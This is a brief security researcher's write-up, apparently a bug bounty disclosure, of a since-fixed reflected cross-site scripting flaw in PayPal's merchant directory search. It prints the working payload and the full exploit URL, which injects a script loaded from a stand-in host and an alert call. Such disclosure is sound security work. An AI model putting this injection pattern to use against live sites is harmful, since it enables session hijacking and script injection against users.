Skip to main content
Two identical runs of industrial pipework converging and joining into a single shared manifold.
Photo by Samuel Sianipar on Unsplash
  1. Archive/

PayPal merchant directory reflected XSS

Patrik Grobshäuser
Author
Patrik Grobshäuser
Security researcher at Assetnote / Searchlight Cyber. Before that, seven years triaging other people’s reports at HackerOne and Shopify. Hunting bugs since 2012, published as Patrik Fehrenbach until 2025.
Table of Contents

I found a reflected cross-site scripting issue in the then-new PayPal Directory service (https://www.paypal.com/directory/merchants), using the following payload:

&q=509%22%20src=%22http://www.example.com/exploit509.js%20%3C script %3E alert %281%29%3C/ script %3E

The vulnerability
#

The vulnerable parameter was q, and I was able to break out of the script context of the page, I think it was caused by the second &q parameter, but I am not certain — PayPal fixed the issue too fast for me to analyse it in more depth.

https://www.paypal.com/directory/merchants?q=&q=509%22%20src=%22http://www.example.com/exploit509.js%20%3C script %3E alert %281%29%3C/ script %3E

Related